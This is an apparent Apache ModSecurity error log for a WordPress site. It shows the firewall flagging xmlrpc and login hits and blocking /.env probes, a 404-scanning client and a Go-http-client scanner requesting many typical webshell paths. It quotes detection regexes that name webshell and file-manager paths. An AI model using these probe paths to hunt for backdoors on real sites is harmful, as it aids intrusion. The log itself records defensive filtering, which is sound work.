[Mon Dec 08 02:16:50.654246 2025] [:error] [pid 55697:tid 55714] [client 73.147.145.252:53823] [client 73.147.145.252] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 73.147.145.252, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aTXEkpCUb4ntL-D8ZJpyKAAAAEs"]
[Mon Dec 08 02:16:50.665272 2025] [proxy_fcgi:error] [pid 55697:tid 55714] [client 73.147.145.252:53823] AH01071: Got error 'Primary script unknown'
[Mon Dec 08 02:38:12.655761 2025] [:error] [pid 55699:tid 55741] [client 41.216.121.166:56372] [client 41.216.121.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.216.121.166, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aTXJlHp2c7AdOPMmDEN8YwAAAIs"]
[Mon Dec 08 02:38:12.668756 2025] [proxy_fcgi:error] [pid 55699:tid 55741] [client 41.216.121.166:56372] AH01071: Got error 'Primary script unknown'
[Mon Dec 08 02:43:43.661078 2025] [:error] [pid 55840:tid 55862] [client 41.216.121.166:60827] [client 41.216.121.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.216.121.166, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aTXK39XZ-ijN21c_Pr6QogAAABM"]
[Mon Dec 08 02:43:43.671925 2025] [proxy_fcgi:error] [pid 55840:tid 55862] [client 41.216.121.166:60827] AH01071: Got error 'Primary script unknown'
[Mon Dec 08 02:52:58.595792 2025] [autoindex:error] [pid 55840:tid 55866] [client 194.5.82.23:52481] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Dec 08 02:53:15.805089 2025] [autoindex:error] [pid 55840:tid 55850] [client 194.5.82.23:52481] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Dec 08 02:53:24.970214 2025] [:error] [pid 55840:tid 55848] [client 194.5.82.23:52481] [client 194.5.82.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager"] [unique_id "aTXNJNXZ-ijN21c_Pr6WXAAAAAU"]
[Mon Dec 08 09:09:15.361511 2025] [:error] [pid 39261:tid 39288] [client 44.212.47.208:43592] [client 44.212.47.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aTYlO3ijlEqKrwMitDHLUwAAANc"]
[Mon Dec 08 11:46:37.458810 2025] [:error] [pid 39160:tid 39215] [client 45.88.186.148:52042] [client 45.88.186.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aTZKHSm5Ndns0p3OT9CKAgAAAFY"]
[Mon Dec 08 11:46:37.861461 2025] [:error] [pid 39159:tid 39181] [client 45.88.186.148:52155] [client 45.88.186.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aTZKHU48HaQt8jqjSbqCbwAAABA"]
[Mon Dec 08 11:46:38.276645 2025] [:error] [pid 43362:tid 43405] [client 45.88.186.148:52270] [client 45.88.186.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aTZKHjoamfxHn2vcwqy4EAAAAc4"]
[Mon Dec 08 11:46:38.681888 2025] [:error] [pid 53927:tid 53952] [client 45.88.186.148:52392] [client 45.88.186.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aTZKHrTtIvPZ1Cm2r06bIQAAARc"]
[Mon Dec 08 11:46:39.095790 2025] [:error] [pid 43362:tid 43396] [client 45.88.186.148:52498] [client 45.88.186.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aTZKHzoamfxHn2vcwqy4KAAAAcU"]
[Mon Dec 08 13:03:18.269343 2025] [:error] [pid 16888:tid 16904] [client 194.5.82.154:37441] [client 194.5.82.154] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.5.82.154, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aTZcFhSZHPLCPHyOpBVANgAAAA0"]
[Mon Dec 08 13:03:18.280489 2025] [proxy_fcgi:error] [pid 16888:tid 16904] [client 194.5.82.154:37441] AH01071: Got error 'Primary script unknown'
[Mon Dec 08 17:28:19.447867 2025] [:error] [pid 58759:tid 58793] [client 98.159.43.35:53131] [client 98.159.43.35] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/theme-check/theme-check.php"] [unique_id "aTaaM_6HZGkO2H0XX-h4MAAAAMM"]
[Mon Dec 08 17:28:19.811631 2025] [:error] [pid 2754:tid 2766] [client 98.159.43.22:46081] [client 98.159.43.22] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/so-pinyin-slugs/inc/main_json.php"] [unique_id "aTaaM7SzS4AFjS-DhTURzwAAAUk"]
[Mon Dec 08 17:28:20.174348 2025] [:error] [pid 2754:tid 2772] [client 98.159.43.18:35193] [client 98.159.43.18] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/schema/yanz.php"] [unique_id "aTaaNLSzS4AFjS-DhTUR1gAAAU8"]
[Mon Dec 08 17:28:20.557226 2025] [:error] [pid 58847:tid 58866] [client 98.159.43.29:55627] [client 98.159.43.29] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/so-pinyin-slugs/inc/js-inc.php"] [unique_id "aTaaNHy4UHQXWKMwpHnZzgAAAQ0"]
[Mon Dec 08 17:28:20.966444 2025] [:error] [pid 2754:tid 2763] [client 98.159.43.18:52059] [client 98.159.43.18] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/init-help/init.php"] [unique_id "aTaaNLSzS4AFjS-DhTUR4QAAAUY"]
[Mon Dec 08 17:28:21.352908 2025] [:error] [pid 63353:tid 63377] [client 98.159.43.24:41511] [client 98.159.43.24] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wpcall-button/button-image.php"] [unique_id "aTaaNRtg8HdYG392GAj-lgAAAJU"]
[Mon Dec 08 17:28:21.715817 2025] [:error] [pid 58759:tid 58791] [client 98.159.43.46:33293] [client 98.159.43.46] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/schema/geckos.php"] [unique_id "aTaaNf6HZGkO2H0XX-h4NQAAAME"]
[Mon Dec 08 17:28:22.069042 2025] [:error] [pid 37840:tid 37855] [client 98.159.43.24:59041] [client 98.159.43.24] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/SecurityFin/SecurityFin.php"] [unique_id "aTaaNlnJIKqlie_aHNbGUAAAAYw"]
[Mon Dec 08 17:28:22.416760 2025] [:error] [pid 58847:tid 58863] [client 98.159.43.15:26661] [client 98.159.43.15] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/wpr-addons/forms/b1ack.php"] [unique_id "aTaaNny4UHQXWKMwpHnZ0AAAAQo"]
[Mon Dec 08 17:28:22.775376 2025] [:error] [pid 58758:tid 58774] [client 98.159.43.45:48943] [client 98.159.43.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/WordPressCore/include.php"] [unique_id "aTaaNgBS5U6_vVkyhEeCGwAAAEw"]
[Mon Dec 08 17:28:23.129921 2025] [:error] [pid 58759:tid 58812] [client 98.159.43.12:60121] [client 98.159.43.12] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/dummyyummy/wp-signup.php"] [unique_id "aTaaN_6HZGkO2H0XX-h4OAAAANY"]
[Mon Dec 08 17:28:23.483243 2025] [:error] [pid 58847:tid 58869] [client 98.159.43.52:28607] [client 98.159.43.52] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/dzs-zoomsounds/1877.php"] [unique_id "aTaaN3y4UHQXWKMwpHnZ0gAAARA"]
[Mon Dec 08 17:28:23.832958 2025] [:error] [pid 2754:tid 2775] [client 98.159.43.13:57995] [client 98.159.43.13] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/core-plugin/include.php"] [unique_id "aTaaN7SzS4AFjS-DhTUR4wAAAVE"]
[Mon Dec 08 17:28:24.185920 2025] [:error] [pid 2754:tid 2767] [client 98.159.43.36:64341] [client 98.159.43.36] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/linkpreview/index.php"] [unique_id "aTaaOLSzS4AFjS-DhTUR5AAAAUo"]
[Mon Dec 08 17:28:24.670001 2025] [:error] [pid 58759:tid 58790] [client 98.159.43.3:65179] [client 98.159.43.3] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/linkpreview/db.php"] [unique_id "aTaaOP6HZGkO2H0XX-h4OwAAAMA"]
[Mon Dec 08 17:28:25.176311 2025] [:error] [pid 58760:tid 58829] [client 98.159.43.5:48191] [client 98.159.43.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/seoplugins/db.php"] [unique_id "aTaaOWqmF_jKbCz9E6lPhgAAAAw"]
[Mon Dec 08 17:28:25.608486 2025] [:error] [pid 2754:tid 2780] [client 98.159.43.40:58813] [client 98.159.43.40] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/press/wp-class.php"] [unique_id "aTaaObSzS4AFjS-DhTUR-AAAAVY"]
[Mon Dec 08 17:28:25.968738 2025] [:error] [pid 2754:tid 2764] [client 98.159.43.27:38065] [client 98.159.43.27] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/seoplugins/mar.php"] [unique_id "aTaaObSzS4AFjS-DhTUR_AAAAUc"]
[Mon Dec 08 17:28:26.343646 2025] [:error] [pid 2754:tid 2758] [client 98.159.43.40:44687] [client 98.159.43.40] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/yanierin/akcc.php"] [unique_id "aTaaOrSzS4AFjS-DhTUR_gAAAUE"]
[Mon Dec 08 17:28:26.699538 2025] [:error] [pid 2754:tid 2770] [client 98.159.43.48:42615] [client 98.159.43.48] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/advanced-product-fields-for-woocommerce/db.php"] [unique_id "aTaaOrSzS4AFjS-DhTUSAAAAAU0"]
[Mon Dec 08 17:28:27.055490 2025] [:error] [pid 2754:tid 2769] [client 98.159.43.9:43965] [client 98.159.43.9] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wp-mobile-detector/cache/settings_auto.php"] [unique_id "aTaaO7SzS4AFjS-DhTUSAQAAAUw"]
[Mon Dec 08 17:28:27.453660 2025] [:error] [pid 58758:tid 58779] [client 98.159.43.41:48027] [client 98.159.43.41] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentythree/patterns/index.php"] [unique_id "aTaaOwBS5U6_vVkyhEeCHgAAAFE"]
[Mon Dec 08 17:28:27.827108 2025] [:error] [pid 58758:tid 58763] [client 98.159.43.9:54507] [client 98.159.43.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "aTaaOwBS5U6_vVkyhEeCHwAAAEE"]
[Mon Dec 08 17:28:28.220877 2025] [:error] [pid 58759:tid 58794] [client 98.159.43.19:21383] [client 98.159.43.19] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/.well-known/pki-validation/index.php"] [unique_id "aTaaPP6HZGkO2H0XX-h4PgAAAMQ"]
[Mon Dec 08 17:28:28.597218 2025] [:error] [pid 58758:tid 58786] [client 98.159.43.8:40709] [client 98.159.43.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/about.php"] [unique_id "aTaaPABS5U6_vVkyhEeCIwAAAFg"]
[Mon Dec 08 17:28:28.952764 2025] [:error] [pid 58758:tid 58765] [client 98.159.43.44:31417] [client 98.159.43.44] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aTaaPABS5U6_vVkyhEeCJAAAAEM"]
[Mon Dec 08 17:28:29.301406 2025] [:error] [pid 58758:tid 58783] [client 98.159.43.24:41663] [client 98.159.43.24] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/coffee/index.php"] [unique_id "aTaaPQBS5U6_vVkyhEeCJQAAAFU"]
[Mon Dec 08 17:28:29.702273 2025] [:error] [pid 37840:tid 37851] [client 98.159.43.38:35461] [client 98.159.43.38] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/.well-known/pki-validation/about.php"] [unique_id "aTaaPVnJIKqlie_aHNbGawAAAYg"]
[Mon Dec 08 17:28:30.053909 2025] [:error] [pid 63353:tid 63363] [client 98.159.43.27:39215] [client 98.159.43.27] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aTaaPhtg8HdYG392GAj-lwAAAIc"]
[Mon Dec 08 17:28:30.506251 2025] [:error] [pid 58760:tid 58823] [client 98.159.43.40:34697] [client 98.159.43.40] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twenty/twenty.php"] [unique_id "aTaaPmqmF_jKbCz9E6lPjgAAAAY"]
[Mon Dec 08 17:28:30.960842 2025] [:error] [pid 37840:tid 37860] [client 98.159.43.49:38131] [client 98.159.43.49] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/.well-known/pki-validation/moon.php"] [unique_id "aTaaPlnJIKqlie_aHNbGbgAAAZE"]
[Mon Dec 08 17:28:31.341935 2025] [:error] [pid 37840:tid 37850] [client 98.159.43.11:55219] [client 98.159.43.11] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/calmly/issue.php"] [unique_id "aTaaP1nJIKqlie_aHNbGcAAAAYc"]
[Mon Dec 08 17:28:31.688685 2025] [:error] [pid 37840:tid 37858] [client 98.159.43.52:58773] [client 98.159.43.52] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/shell/noimg.php"] [unique_id "aTaaP1nJIKqlie_aHNbGcQAAAY8"]
[Mon Dec 08 17:28:32.048783 2025] [:error] [pid 58758:tid 58778] [client 98.159.43.3:26343] [client 98.159.43.3] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/Cache/Cache.php"] [unique_id "aTaaQABS5U6_vVkyhEeCJwAAAFA"]
[Mon Dec 08 17:28:32.415588 2025] [:error] [pid 58759:tid 58799] [client 98.159.43.4:21925] [client 98.159.43.4] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/fonts/fonts.php"] [unique_id "aTaaQP6HZGkO2H0XX-h4QwAAAMk"]
[Mon Dec 08 17:28:32.770888 2025] [:error] [pid 58759:tid 58801] [client 98.159.43.15:64007] [client 98.159.43.15] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/pridmag/db.php"] [unique_id "aTaaQP6HZGkO2H0XX-h4RAAAAMs"]
[Mon Dec 08 17:28:33.128789 2025] [:error] [pid 37840:tid 37854] [client 98.159.43.49:24065] [client 98.159.43.49] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd-1/pwnd.php"] [unique_id "aTaaQVnJIKqlie_aHNbGcwAAAYs"]
[Mon Dec 08 17:28:33.478840 2025] [:error] [pid 58760:tid 58829] [client 98.159.43.49:35013] [client 98.159.43.49] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aTaaQWqmF_jKbCz9E6lPkQAAAAw"]
[Mon Dec 08 17:28:33.832302 2025] [:error] [pid 37840:tid 37865] [client 98.159.43.6:42221] [client 98.159.43.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/aahana/json.php"] [unique_id "aTaaQVnJIKqlie_aHNbGdQAAAZY"]
